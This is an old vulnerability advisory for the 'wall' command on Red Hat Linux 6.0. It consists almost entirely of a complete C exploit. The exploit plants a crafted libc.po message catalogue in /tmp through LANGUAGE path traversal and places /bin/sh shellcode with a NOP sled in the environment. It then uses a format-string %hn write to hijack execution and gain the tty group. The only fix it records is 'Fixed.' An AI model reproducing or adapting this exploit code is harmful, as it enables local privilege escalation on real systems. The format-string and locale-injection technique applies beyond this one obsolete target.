COMMAND

    wall

SYSTEMS AFFECTED

    Linux Red Hat 6.0

PROBLEM

    Another oldie...

    /*
     * -*-*--*-*--*-*--*-*--*-*--*-*--*-*--*-*--*-*-
     * wall (format strings) exploit.
     * version: RedHat 6.0
     * by: jleet
     * -*-*--*-*--*-*--*-*--*-*--*-*--*-*--*-*--*-*-
     *
     * It yieds egid(tty) wow!,
     * big w00p.
     *
     * Thanks to warning3 and kaulo and team-TESO.
     *
     * greets: necr0mancer/John Q. Public/Phleam
     *
     */
    
        #include <stdlib.h>
        #include <stdio.h>
        #include <unistd.h>
    
        #define NUM                            1170
        #define DEFAULT_OFFSET                    0
        #define DEFAULT_ALIGNMENT                 1
        #define DEFAULT_RETLOC           0xbffe8c5c
        #define DEFAULT_BUFFER_SIZE           90000
        #define DEFAULT_EGG_SIZE              90000
        #define NOP                            0x90
    
        char shellcode[] =
          "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
          "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
          "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
        unsigned long get_esp(void) {
           __asm__("movl %esp,%eax");
        }
    
         main(int argc, char *argv[]) {
          char *buff, *buff1, *ptr, *egg;
          char *env[3];
          long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;
          int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;
          int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;
          int i,reth,retl,num=NUM;
          FILE *fp;
          if (!(buff = malloc(eggsize)))
	     {printf("Can't allocate memory.\n");
               exit(0);}
          if (!(buff1 = malloc(bsize)))
	     {printf("Can't allocate memory.\n");
               exit(0);}
          if (!(egg = malloc(eggsize)))
	     {printf("Can't allocate memory.\n");
            exit(0);}
            shell_addr = get_esp() + offset;
            reth = (shell_addr >> 16) & 0xffff;
            retl = (shell_addr >>  0) & 0xffff;
            ptr = buff;
	    (*ptr++)='R';
	    (*ptr++)='=';
            for (i = 0; i <2 ; i++, retloc+=2 )
	      {memset(ptr,'A',4);
               ptr += 4;
               (*ptr++) =  retloc & 0xff;
               (*ptr++) = (retloc >> 8  ) & 0xff;
               (*ptr++) = (retloc >> 16 ) & 0xff;
               (*ptr++) = (retloc >> 24 ) & 0xff;}
             memset(ptr,'A',align);
             ptr = buff1;
             for(i = 0 ; i < num ; i++ )
             {memcpy(ptr, "%.8x", 4);
                ptr += 4;}
	     if(argv[7][0]!='1')
	    {sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(retl - num*8),
                           (0x10006 + reth - retl - 6));}
	    mkdir("/tmp/LC_MESSAGES", 0755);
            chdir("/tmp/LC_MESSAGES");
            fp = fopen("libc.po", "w+");
            fprintf(fp,"msgid \"%%s: invalid option -- %%c\\n\"\n");
            fprintf(fp,"msgstr \"%s\\n\"",buff1);
            fclose(fp);
            system("/usr/bin/msgfmt libc.po -o libc.mo");
	    ptr = egg;
            for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
              *(ptr++) = NOP;
            for (i = 0; i < strlen(shellcode); i++)
              *(ptr++) = shellcode[i];
            egg[eggsize - 1] = '\0';
            memcpy(egg, "EGG=", 4);
            env[0] = egg;
            env[1] = "LANGUAGE=sk_SK/../../../../../../tmp";
	    env[2] = (char *)0;
            putenv(env[0]);
	    putenv(env[1]);
	    putenv(buff);
            system("wall -x $R");
         }

SOLUTION

    Fixed.